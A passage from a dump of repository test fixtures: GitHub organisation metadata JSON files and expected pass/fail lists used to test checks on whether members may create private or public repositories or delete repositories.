0\n    },\n    \"advanced_security_enabled_for_new_repositories\": false,\n    \"dependabot_alerts_enabled_for_new_repositories\": false,\n    \"dependabot_security_updates_enabled_for_new_repositories\": false,\n    \"dependency_graph_enabled_for_new_repositories\": false,\n    \"secret_scanning_enabled_for_new_repositories\": false,\n    \"secret_scanning_push_protection_enabled_for_new_repositories\": false,\n    \"secret_scanning_push_protection_custom_link_enabled\": false,\n    \"secret_scanning_push_protection_custom_link\": null\n}"
  },
  {
    "path": "tests/github/checks/repo_management/GithubPrivateRepositoryCreationIsLimited/fail1_org_metadata.json",
    "content": "{\n    \"login\": \"KiteFlyingInTheSky\",\n    \"id\": 123456,\n    \"node_id\": \"node-id\",\n    \"url\": \"https://api.github.com/orgs/KiteFlyingInTheSky\",\n    \"repos_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/repos\",\n    \"events_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/events\",\n    \"hooks_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/hooks\",\n    \"issues_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/issues\",\n    \"members_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/members{/member}\",\n    \"public_members_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/public_members{/member}\",\n    \"avatar_url\": \"https://avatars.githubusercontent.com/u/114655127?v=4\",\n    \"description\": null,\n    \"is_verified\": false,\n    \"has_organization_projects\": true,\n    \"has_repository_projects\": true,\n    \"public_repos\": 1,\n    \"public_gists\": 0,\n    \"followers\": 0,\n    \"following\": 0,\n    \"html_url\": \"https://github.com/KiteFlyingInTheSky\",\n    \"created_at\": \"2022-09-29T09:05:46Z\",\n    \"updated_at\": \"2022-10-02T10:24:25Z\",\n    \"type\": \"Organization\",\n    \"total_private_repos\": 1,\n    \"owned_private_repos\": 1,\n    \"private_gists\": 0,\n    \"disk_usage\": 380,\n    \"collaborators\": 0,\n    \"billing_email\": \"main@mail.com\",\n    \"default_repository_permission\": \"read\",\n    \"members_can_create_repositories\": true,\n    \"two_factor_requirement_enabled\": false,\n    \"members_allowed_repository_creation_type\": \"all\",\n    \"members_can_create_public_repositories\": true,\n    \"members_can_create_private_repositories\": true,\n    \"members_can_create_internal_repositories\": true,\n    \"members_can_create_pages\": true,\n    \"members_can_fork_private_repositories\": false,\n    \"web_commit_signoff_required\": false,\n    \"members_can_create_public_pages\": true,\n    \"members_can_create_private_pages\": true,\n    \"plan\": {\n        \"name\": \"free\",\n        \"space\": 976562499,\n        \"private_repos\": 10000,\n        \"filled_seats\": 2,\n        \"seats\": 0\n    },\n    \"advanced_security_enabled_for_new_repositories\": false,\n    \"dependabot_alerts_enabled_for_new_repositories\": false,\n    \"dependabot_security_updates_enabled_for_new_repositories\": false,\n    \"dependency_graph_enabled_for_new_repositories\": false,\n    \"secret_scanning_enabled_for_new_repositories\": false,\n    \"secret_scanning_push_protection_enabled_for_new_repositories\": false,\n    \"secret_scanning_push_protection_custom_link_enabled\": false,\n    \"secret_scanning_push_protection_custom_link\": null\n}"
  },
  {
    "path": "tests/github/checks/repo_management/GithubPrivateRepositoryCreationIsLimited/fail2.json",
    "content": "{\n    \"login\": \"KiteFlyingInTheSky\",\n    \"id\": 123456,\n    \"node_id\": \"node-id\",\n    \"url\": \"https://api.github.com/orgs/KiteFlyingInTheSky\",\n    \"repos_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/repos\",\n    \"events_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/events\",\n    \"hooks_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/hooks\",\n    \"issues_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/issues\",\n    \"members_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/members{/member}\",\n    \"public_members_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/public_members{/member}\",\n    \"avatar_url\": \"https://avatars.githubusercontent.com/u/114655127?v=4\",\n    \"description\": null,\n    \"is_verified\": false,\n    \"has_organization_projects\": true,\n    \"has_repository_projects\": true,\n    \"public_repos\": 1,\n    \"public_gists\": 0,\n    \"followers\": 0,\n    \"following\": 0,\n    \"html_url\": \"https://github.com/KiteFlyingInTheSky\",\n    \"created_at\": \"2022-09-29T09:05:46Z\",\n    \"updated_at\": \"2022-10-02T10:24:25Z\",\n    \"type\": \"Organization\",\n    \"total_private_repos\": 1,\n    \"owned_private_repos\": 1,\n    \"private_gists\": 0,\n    \"disk_usage\": 380,\n    \"collaborators\": 0,\n    \"billing_email\": \"kabirmaryna@gmail.com\",\n    \"default_repository_permission\": \"read\",\n    \"members_can_create_repositories\": true,\n    \"two_factor_requirement_enabled\": false,\n    \"members_allowed_repository_creation_type\": \"all\",\n    \"members_can_create_pages\": true,\n    \"members_can_fork_private_repositories\": false,\n    \"web_commit_signoff_required\": false,\n    \"members_can_create_public_pages\": true,\n    \"members_can_create_private_pages\": true,\n    \"plan\": {\n        \"name\": \"free\",\n        \"space\": 976562499,\n        \"private_repos\": 10000,\n        \"filled_seats\": 2,\n        \"seats\": 0\n    },\n    \"advanced_security_enabled_for_new_repositories\": false,\n    \"dependabot_alerts_enabled_for_new_repositories\": false,\n    \"dependabot_security_updates_enabled_for_new_repositories\": false,\n    \"dependency_graph_enabled_for_new_repositories\": false,\n    \"secret_scanning_enabled_for_new_repositories\": false,\n    \"secret_scanning_push_protection_enabled_for_new_repositories\": false,\n    \"secret_scanning_push_protection_custom_link_enabled\": false,\n    \"secret_scanning_push_protection_custom_link\": null\n}"
  },
  {
    "path": "tests/github/checks/repo_management/GithubPrivateRepositoryCreationIsLimited/fail2_org_metadata.json",
    "content": "{\n    \"login\": \"KiteFlyingInTheSky\",\n    \"id\": 123456,\n    \"node_id\": \"node-id\",\n    \"url\": \"https://api.github.com/orgs/KiteFlyingInTheSky\",\n    \"repos_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/repos\",\n    \"events_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/events\",\n    \"hooks_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/hooks\",\n    \"issues_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/issues\",\n    \"members_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/members{/member}\",\n    \"public_members_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/public_members{/member}\",\n    \"avatar_url\": \"https://avatars.githubusercontent.com/u/114655127?v=4\",\n    \"description\": null,\n    \"is_verified\": false,\n    \"has_organization_projects\": true,\n    \"has_repository_projects\": true,\n    \"public_repos\": 1,\n    \"public_gists\": 0,\n    \"followers\": 0,\n    \"following\": 0,\n    \"html_url\": \"https://github.com/KiteFlyingInTheSky\",\n    \"created_at\": \"2022-09-29T09:05:46Z\",\n    \"updated_at\": \"2022-10-02T10:24:25Z\",\n    \"type\": \"Organization\",\n    \"total_private_repos\": 1,\n    \"owned_private_repos\": 1,\n    \"private_gists\": 0,\n    \"disk_usage\": 380,\n    \"collaborators\": 0,\n    \"billing_email\": \"kabirmaryna@gmail.com\",\n    \"default_repository_permission\": \"read\",\n    \"members_can_create_repositories\": true,\n    \"two_factor_requirement_enabled\": false,\n    \"members_allowed_repository_creation_type\": \"all\",\n    \"members_can_create_pages\": true,\n    \"members_can_fork_private_repositories\": false,\n    \"web_commit_signoff_required\": false,\n    \"members_can_create_public_pages\": true,\n    \"members_can_create_private_pages\": true,\n    \"plan\": {\n        \"name\": \"free\",\n        \"space\": 976562499,\n        \"private_repos\": 10000,\n        \"filled_seats\": 2,\n        \"seats\": 0\n    },\n    \"advanced_security_enabled_for_new_repositories\": false,\n    \"dependabot_alerts_enabled_for_new_repositories\": false,\n    \"dependabot_security_updates_enabled_for_new_repositories\": false,\n    \"dependency_graph_enabled_for_new_repositories\": false,\n    \"secret_scanning_enabled_for_new_repositories\": false,\n    \"secret_scanning_push_protection_enabled_for_new_repositories\": false,\n    \"secret_scanning_push_protection_custom_link_enabled\": false,\n    \"secret_scanning_push_protection_custom_link\": null\n}"
  },
  {
    "path": "tests/github/checks/repo_management/GithubPrivateRepositoryCreationIsLimited/pass.json",
    "content": "{\n    \"login\": \"KiteFlyingInTheSky\",\n    \"id\": 123456,\n    \"node_id\": \"O_kgDOBtV_lw\",\n    \"url\": \"https://api.github.com/orgs/KiteFlyingInTheSky\",\n    \"repos_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/repos\",\n    \"events_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/events\",\n    \"hooks_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/hooks\",\n    \"issues_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/issues\",\n    \"members_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/members{/member}\",\n    \"public_members_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/public_members{/member}\",\n    \"avatar_url\": \"https://avatars.githubusercontent.com/u/114655127?v=4\",\n    \"description\": null,\n    \"is_verified\": false,\n    \"has_organization_projects\": true,\n    \"has_repository_projects\": true,\n    \"public_repos\": 1,\n    \"public_gists\": 0,\n    \"followers\": 0,\n    \"following\": 0,\n    \"html_url\": \"https://github.com/KiteFlyingInTheSky\",\n    \"created_at\": \"2022-09-29T09:05:46Z\",\n    \"updated_at\": \"2022-10-02T10:24:25Z\",\n    \"type\": \"Organization\",\n    \"total_private_repos\": 1,\n    \"owned_private_repos\": 1,\n    \"private_gists\": 0,\n    \"disk_usage\": 380,\n    \"collaborators\": 0,\n    \"billing_email\": \"kabirmaryna@gmail.com\",\n    \"default_repository_permission\": \"read\",\n    \"members_can_create_repositories\": false,\n    \"two_factor_requirement_enabled\": false,\n    \"members_allowed_repository_creation_type\": \"none\",\n    \"members_can_create_public_repositories\": false,\n    \"members_can_create_private_repositories\": false,\n    \"members_can_create_internal_repositories\": false,\n    \"members_can_create_pages\": true,\n    \"members_can_fork_private_repositories\": false,\n    \"web_commit_signoff_required\": false,\n    \"members_can_create_public_pages\": true,\n    \"members_can_create_private_pages\": true,\n    \"plan\": {\n        \"name\": \"free\",\n        \"space\": 976562499,\n        \"private_repos\": 10000,\n        \"filled_seats\": 2,\n        \"seats\": 0\n    },\n    \"advanced_security_enabled_for_new_repositories\": false,\n    \"dependabot_alerts_enabled_for_new_repositories\": false,\n    \"dependabot_security_updates_enabled_for_new_repositories\": false,\n    \"dependency_graph_enabled_for_new_repositories\": false,\n    \"secret_scanning_enabled_for_new_repositories\": false,\n    \"secret_scanning_push_protection_enabled_for_new_repositories\": false,\n    \"secret_scanning_push_protection_custom_link_enabled\": false,\n    \"secret_scanning_push_protection_custom_link\": null\n}"
  },
  {
    "path": "tests/github/checks/repo_management/GithubPrivateRepositoryCreationIsLimited/pass_org_metadata.json",
    "content": "{\n    \"login\": \"KiteFlyingInTheSky\",\n    \"id\": 123456,\n    \"node_id\": \"O_kgDOBtV_lw\",\n    \"url\": \"https://api.github.com/orgs/KiteFlyingInTheSky\",\n    \"repos_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/repos\",\n    \"events_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/events\",\n    \"hooks_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/hooks\",\n    \"issues_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/issues\",\n    \"members_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/members{/member}\",\n    \"public_members_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/public_members{/member}\",\n    \"avatar_url\": \"https://avatars.githubusercontent.com/u/114655127?v=4\",\n    \"description\": null,\n    \"is_verified\": false,\n    \"has_organization_projects\": true,\n    \"has_repository_projects\": true,\n    \"public_repos\": 1,\n    \"public_gists\": 0,\n    \"followers\": 0,\n    \"following\": 0,\n    \"html_url\": \"https://github.com/KiteFlyingInTheSky\",\n    \"created_at\": \"2022-09-29T09:05:46Z\",\n    \"updated_at\": \"2022-10-02T10:24:25Z\",\n    \"type\": \"Organization\",\n    \"total_private_repos\": 1,\n    \"owned_private_repos\": 1,\n    \"private_gists\": 0,\n    \"disk_usage\": 380,\n    \"collaborators\": 0,\n    \"billing_email\": \"kabirmaryna@gmail.com\",\n    \"default_repository_permission\": \"read\",\n    \"members_can_create_repositories\": false,\n    \"two_factor_requirement_enabled\": false,\n    \"members_allowed_repository_creation_type\": \"none\",\n    \"members_can_create_public_repositories\": false,\n    \"members_can_create_private_repositories\": false,\n    \"members_can_create_internal_repositories\": false,\n    \"members_can_create_pages\": true,\n    \"members_can_fork_private_repositories\": false,\n    \"web_commit_signoff_required\": false,\n    \"members_can_create_public_pages\": true,\n    \"members_can_create_private_pages\": true,\n    \"plan\": {\n        \"name\": \"free\",\n        \"space\": 976562499,\n        \"private_repos\": 10000,\n        \"filled_seats\": 2,\n        \"seats\": 0\n    },\n    \"advanced_security_enabled_for_new_repositories\": false,\n    \"dependabot_alerts_enabled_for_new_repositories\": false,\n    \"dependabot_security_updates_enabled_for_new_repositories\": false,\n    \"dependency_graph_enabled_for_new_repositories\": false,\n    \"secret_scanning_enabled_for_new_repositories\": false,\n    \"secret_scanning_push_protection_enabled_for_new_repositories\": false,\n    \"secret_scanning_push_protection_custom_link_enabled\": false,\n    \"secret_scanning_push_protection_custom_link\": null\n}"
  },
  {
    "path": "tests/github/checks/repo_management/GithubPublicRepositoryCreationIsLimited/expected.yaml",
    "content": "pass:\n  - \"pass_org_metadata.json\"\nfail:\n  - \"fail1_org_metadata.json\"\n  - \"fail2_org_metadata.json\"\n"
  },
  {
    "path": "tests/github/checks/repo_management/GithubPublicRepositoryCreationIsLimited/fail1.json",
    "content": "{\n    \"login\": \"KiteFlyingInTheSky\",\n    \"id\": 123456,\n    \"node_id\": \"node-id\",\n    \"url\": \"https://api.github.com/orgs/KiteFlyingInTheSky\",\n    \"repos_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/repos\",\n    \"events_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/events\",\n    \"hooks_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/hooks\",\n    \"issues_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/issues\",\n    \"members_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/members{/member}\",\n    \"public_members_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/public_members{/member}\",\n    \"avatar_url\": \"https://avatars.githubusercontent.com/u/114655127?v=4\",\n    \"description\": null,\n    \"is_verified\": false,\n    \"has_organization_projects\": true,\n    \"has_repository_projects\": true,\n    \"public_repos\": 1,\n    \"public_gists\": 0,\n    \"followers\": 0,\n    \"following\": 0,\n    \"html_url\": \"https://github.com/KiteFlyingInTheSky\",\n    \"created_at\": \"2022-09-29T09:05:46Z\",\n    \"updated_at\": \"2022-10-02T10:24:25Z\",\n    \"type\": \"Organization\",\n    \"total_private_repos\": 1,\n    \"owned_private_repos\": 1,\n    \"private_gists\": 0,\n    \"disk_usage\": 380,\n    \"collaborators\": 0,\n    \"billing_email\": \"main@mail.com\",\n    \"default_repository_permission\": \"read\",\n    \"members_can_create_repositories\": true,\n    \"two_factor_requirement_enabled\": false,\n    \"members_allowed_repository_creation_type\": \"all\",\n    \"members_can_create_public_repositories\": true,\n    \"members_can_create_private_repositories\": true,\n    \"members_can_create_internal_repositories\": true,\n    \"members_can_create_pages\": true,\n    \"members_can_fork_private_repositories\": false,\n    \"web_commit_signoff_required\": false,\n    \"members_can_create_public_pages\": true,\n    \"members_can_create_private_pages\": true,\n    \"plan\": {\n        \"name\": \"free\",\n        \"space\": 976562499,\n        \"private_repos\": 10000,\n        \"filled_seats\": 2,\n        \"seats\": 0\n    },\n    \"advanced_security_enabled_for_new_repositories\": false,\n    \"dependabot_alerts_enabled_for_new_repositories\": false,\n    \"dependabot_security_updates_enabled_for_new_repositories\": false,\n    \"dependency_graph_enabled_for_new_repositories\": false,\n    \"secret_scanning_enabled_for_new_repositories\": false,\n    \"secret_scanning_push_protection_enabled_for_new_repositories\": false,\n    \"secret_scanning_push_protection_custom_link_enabled\": false,\n    \"secret_scanning_push_protection_custom_link\": null\n}"
  },
  {
    "path": "tests/github/checks/repo_management/GithubPublicRepositoryCreationIsLimited/fail1_org_metadata.json",
    "content": "{\n    \"login\": \"KiteFlyingInTheSky\",\n    \"id\": 123456,\n    \"node_id\": \"node-id\",\n    \"url\": \"https://api.github.com/orgs/KiteFlyingInTheSky\",\n    \"repos_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/repos\",\n    \"events_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/events\",\n    \"hooks_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/hooks\",\n    \"issues_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/issues\",\n    \"members_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/members{/member}\",\n    \"public_members_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/public_members{/member}\",\n    \"avatar_url\": \"https://avatars.githubusercontent.com/u/114655127?v=4\",\n    \"description\": null,\n    \"is_verified\": false,\n    \"has_organization_projects\": true,\n    \"has_repository_projects\": true,\n    \"public_repos\": 1,\n    \"public_gists\": 0,\n    \"followers\": 0,\n    \"following\": 0,\n    \"html_url\": \"https://github.com/KiteFlyingInTheSky\",\n    \"created_at\": \"2022-09-29T09:05:46Z\",\n    \"updated_at\": \"2022-10-02T10:24:25Z\",\n    \"type\": \"Organization\",\n    \"total_private_repos\": 1,\n    \"owned_private_repos\": 1,\n    \"private_gists\": 0,\n    \"disk_usage\": 380,\n    \"collaborators\": 0,\n    \"billing_email\": \"main@mail.com\",\n    \"default_repository_permission\": \"read\",\n    \"members_can_create_repositories\": true,\n    \"two_factor_requirement_enabled\": false,\n    \"members_allowed_repository_creation_type\": \"all\",\n    \"members_can_create_public_repositories\": true,\n    \"members_can_create_private_repositories\": true,\n    \"members_can_create_internal_repositories\": true,\n    \"members_can_create_pages\": true,\n    \"members_can_fork_private_repositories\": false,\n    \"web_commit_signoff_required\": false,\n    \"members_can_create_public_pages\": true,\n    \"members_can_create_private_pages\": true,\n    \"plan\": {\n        \"name\": \"free\",\n        \"space\": 976562499,\n        \"private_repos\": 10000,\n        \"filled_seats\": 2,\n        \"seats\": 0\n    },\n    \"advanced_security_enabled_for_new_repositories\": false,\n    \"dependabot_alerts_enabled_for_new_repositories\": false,\n    \"dependabot_security_updates_enabled_for_new_repositories\": false,\n    \"dependency_graph_enabled_for_new_repositories\": false,\n    \"secret_scanning_enabled_for_new_repositories\": false,\n    \"secret_scanning_push_protection_enabled_for_new_repositories\": false,\n    \"secret_scanning_push_protection_custom_link_enabled\": false,\n    \"secret_scanning_push_protection_custom_link\": null\n}"
  },
  {
    "path": "tests/github/checks/repo_management/GithubPublicRepositoryCreationIsLimited/fail2.json",
    "content": "{\n    \"login\": \"KiteFlyingInTheSky\",\n    \"id\": 123456,\n    \"node_id\": \"node-id\",\n    \"url\": \"https://api.github.com/orgs/KiteFlyingInTheSky\",\n    \"repos_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/repos\",\n    \"events_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/events\",\n    \"hooks_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/hooks\",\n    \"issues_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/issues\",\n    \"members_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/members{/member}\",\n    \"public_members_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/public_members{/member}\",\n    \"avatar_url\": \"https://avatars.githubusercontent.com/u/114655127?v=4\",\n    \"description\": null,\n    \"is_verified\": false,\n    \"has_organization_projects\": true,\n    \"has_repository_projects\": true,\n    \"public_repos\": 1,\n    \"public_gists\": 0,\n    \"followers\": 0,\n    \"following\": 0,\n    \"html_url\": \"https://github.com/KiteFlyingInTheSky\",\n    \"created_at\": \"2022-09-29T09:05:46Z\",\n    \"updated_at\": \"2022-10-02T10:24:25Z\",\n    \"type\": \"Organization\",\n    \"total_private_repos\": 1,\n    \"owned_private_repos\": 1,\n    \"private_gists\": 0,\n    \"disk_usage\": 380,\n    \"collaborators\": 0,\n    \"billing_email\": \"kabirmaryna@gmail.com\",\n    \"default_repository_permission\": \"read\",\n    \"two_factor_requirement_enabled\": false,\n    \"members_allowed_repository_creation_type\": \"all\",\n    \"members_can_create_pages\": true,\n    \"members_can_fork_private_repositories\": false,\n    \"web_commit_signoff_required\": false,\n    \"members_can_create_public_pages\": true,\n    \"members_can_create_private_pages\": true,\n    \"plan\": {\n        \"name\": \"free\",\n        \"space\": 976562499,\n        \"private_repos\": 10000,\n        \"filled_seats\": 2,\n        \"seats\": 0\n    },\n    \"advanced_security_enabled_for_new_repositories\": false,\n    \"dependabot_alerts_enabled_for_new_repositories\": false,\n    \"dependabot_security_updates_enabled_for_new_repositories\": false,\n    \"dependency_graph_enabled_for_new_repositories\": false,\n    \"secret_scanning_enabled_for_new_repositories\": false,\n    \"secret_scanning_push_protection_enabled_for_new_repositories\": false,\n    \"secret_scanning_push_protection_custom_link_enabled\": false,\n    \"secret_scanning_push_protection_custom_link\": null\n}"
  },
  {
    "path": "tests/github/checks/repo_management/GithubPublicRepositoryCreationIsLimited/fail2_org_metadata.json",
    "content": "{\n    \"login\": \"KiteFlyingInTheSky\",\n    \"id\": 123456,\n    \"node_id\": \"node-id\",\n    \"url\": \"https://api.github.com/orgs/KiteFlyingInTheSky\",\n    \"repos_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/repos\",\n    \"events_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/events\",\n    \"hooks_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/hooks\",\n    \"issues_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/issues\",\n    \"members_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/members{/member}\",\n    \"public_members_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/public_members{/member}\",\n    \"avatar_url\": \"https://avatars.githubusercontent.com/u/114655127?v=4\",\n    \"description\": null,\n    \"is_verified\": false,\n    \"has_organization_projects\": true,\n    \"has_repository_projects\": true,\n    \"public_repos\": 1,\n    \"public_gists\": 0,\n    \"followers\": 0,\n    \"following\": 0,\n    \"html_url\": \"https://github.com/KiteFlyingInTheSky\",\n    \"created_at\": \"2022-09-29T09:05:46Z\",\n    \"updated_at\": \"2022-10-02T10:24:25Z\",\n    \"type\": \"Organization\",\n    \"total_private_repos\": 1,\n    \"owned_private_repos\": 1,\n    \"private_gists\": 0,\n    \"disk_usage\": 380,\n    \"collaborators\": 0,\n    \"billing_email\": \"kabirmaryna@gmail.com\",\n    \"default_repository_permission\": \"read\",\n    \"two_factor_requirement_enabled\": false,\n    \"members_allowed_repository_creation_type\": \"all\",\n    \"members_can_create_pages\": true,\n    \"members_can_fork_private_repositories\": false,\n    \"web_commit_signoff_required\": false,\n    \"members_can_create_public_pages\": true,\n    \"members_can_create_private_pages\": true,\n    \"plan\": {\n        \"name\": \"free\",\n        \"space\": 976562499,\n        \"private_repos\": 10000,\n        \"filled_seats\": 2,\n        \"seats\": 0\n    },\n    \"advanced_security_enabled_for_new_repositories\": false,\n    \"dependabot_alerts_enabled_for_new_repositories\": false,\n    \"dependabot_security_updates_enabled_for_new_repositories\": false,\n    \"dependency_graph_enabled_for_new_repositories\": false,\n    \"secret_scanning_enabled_for_new_repositories\": false,\n    \"secret_scanning_push_protection_enabled_for_new_repositories\": false,\n    \"secret_scanning_push_protection_custom_link_enabled\": false,\n    \"secret_scanning_push_protection_custom_link\": null\n}"
  },
  {
    "path": "tests/github/checks/repo_management/GithubPublicRepositoryCreationIsLimited/pass.json",
    "content": "{\n    \"login\": \"KiteFlyingInTheSky\",\n    \"id\": 123456,\n    \"node_id\": \"O_kgDOBtV_lw\",\n    \"url\": \"https://api.github.com/orgs/KiteFlyingInTheSky\",\n    \"repos_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/repos\",\n    \"events_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/events\",\n    \"hooks_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/hooks\",\n    \"issues_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/issues\",\n    \"members_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/members{/member}\",\n    \"public_members_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/public_members{/member}\",\n    \"avatar_url\": \"https://avatars.githubusercontent.com/u/114655127?v=4\",\n    \"description\": null,\n    \"is_verified\": false,\n    \"has_organization_projects\": true,\n    \"has_repository_projects\": true,\n    \"public_repos\": 1,\n    \"public_gists\": 0,\n    \"followers\": 0,\n    \"following\": 0,\n    \"html_url\": \"https://github.com/KiteFlyingInTheSky\",\n    \"created_at\": \"2022-09-29T09:05:46Z\",\n    \"updated_at\": \"2022-10-02T10:24:25Z\",\n    \"type\": \"Organization\",\n    \"total_private_repos\": 1,\n    \"owned_private_repos\": 1,\n    \"private_gists\": 0,\n    \"disk_usage\": 380,\n    \"collaborators\": 0,\n    \"billing_email\": \"kabirmaryna@gmail.com\",\n    \"default_repository_permission\": \"read\",\n    \"members_can_create_repositories\": false,\n    \"two_factor_requirement_enabled\": false,\n    \"members_allowed_repository_creation_type\": \"none\",\n    \"members_can_create_public_repositories\": false,\n    \"members_can_create_private_repositories\": false,\n    \"members_can_create_internal_repositories\": false,\n    \"members_can_create_pages\": true,\n    \"members_can_fork_private_repositories\": false,\n    \"web_commit_signoff_required\": false,\n    \"members_can_create_public_pages\": true,\n    \"members_can_create_private_pages\": true,\n    \"plan\": {\n        \"name\": \"free\",\n        \"space\": 976562499,\n        \"private_repos\": 10000,\n        \"filled_seats\": 2,\n        \"seats\": 0\n    },\n    \"advanced_security_enabled_for_new_repositories\": false,\n    \"dependabot_alerts_enabled_for_new_repositories\": false,\n    \"dependabot_security_updates_enabled_for_new_repositories\": false,\n    \"dependency_graph_enabled_for_new_repositories\": false,\n    \"secret_scanning_enabled_for_new_repositories\": false,\n    \"secret_scanning_push_protection_enabled_for_new_repositories\": false,\n    \"secret_scanning_push_protection_custom_link_enabled\": false,\n    \"secret_scanning_push_protection_custom_link\": null\n}"
  },
  {
    "path": "tests/github/checks/repo_management/GithubPublicRepositoryCreationIsLimited/pass_org_metadata.json",
    "content": "{\n    \"login\": \"KiteFlyingInTheSky\",\n    \"id\": 123456,\n    \"node_id\": \"O_kgDOBtV_lw\",\n    \"url\": \"https://api.github.com/orgs/KiteFlyingInTheSky\",\n    \"repos_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/repos\",\n    \"events_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/events\",\n    \"hooks_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/hooks\",\n    \"issues_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/issues\",\n    \"members_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/members{/member}\",\n    \"public_members_url\": \"https://api.github.com/orgs/KiteFlyingInTheSky/public_members{/member}\",\n    \"avatar_url\": \"https://avatars.githubusercontent.com/u/114655127?v=4\",\n    \"description\": null,\n    \"is_verified\": false,\n    \"has_organization_projects\": true,\n    \"has_repository_projects\": true,\n    \"public_repos\": 1,\n    \"public_gists\": 0,\n    \"followers\": 0,\n    \"following\": 0,\n    \"html_url\": \"https://github.com/KiteFlyingInTheSky\",\n    \"created_at\": \"2022-09-29T09:05:46Z\",\n    \"updated_at\": \"2022-10-02T10:24:25Z\",\n    \"type\": \"Organization\",\n    \"total_private_repos\": 1,\n    \"owned_private_repos\": 1,\n    \"private_gists\": 0,\n    \"disk_usage\": 380,\n    \"collaborators\": 0,\n    \"billing_email\": \"kabirmaryna@gmail.com\",\n    \"default_repository_permission\": \"read\",\n    \"members_can_create_repositories\": false,\n    \"two_factor_requirement_enabled\": false,\n    \"members_allowed_repository_creation_type\": \"none\",\n    \"members_can_create_public_repositories\": false,\n    \"members_can_create_private_repositories\": false,\n    \"members_can_create_internal_repositories\": false,\n    \"members_can_create_pages\": true,\n    \"members_can_fork_private_repositories\": false,\n    \"web_commit_signoff_required\": false,\n    \"members_can_create_public_pages\": true,\n    \"members_can_create_private_pages\": true,\n    \"plan\": {\n        \"name\": \"free\",\n        \"space\": 976562499,\n        \"private_repos\": 10000,\n        \"filled_seats\": 2,\n        \"seats\": 0\n    },\n    \"advanced_security_enabled_for_new_repositories\": false,\n    \"dependabot_alerts_enabled_for_new_repositories\": false,\n    \"dependabot_security_updates_enabled_for_new_repositories\": false,\n    \"dependency_graph_enabled_for_new_repositories\": false,\n    \"secret_scanning_enabled_for_new_repositories\": false,\n    \"secret_scanning_push_protection_enabled_for_new_repositories\": false,\n    \"secret_scanning_push_protection_custom_link_enabled\": false,\n    \"secret_scanning_push_protection_custom_link\": null\n}"
  },
  {
    "path": "tests/github/checks/repo_management/GithubRepositoryDeletionIsLimited/expected.yaml",
    "content": "pass:\n  - \"pass.json\"\nfail:\n"
  },
  {
    "path": "tests/github/checks/repo_management/GithubRepositoryDeletionIsLimited/pass.json",
    "content": "{\n    \"CKV_GITHUB_DEFAULT\": null\n}"
  },
  {
    "path": "tests/github/checks/test_python_policies.py",
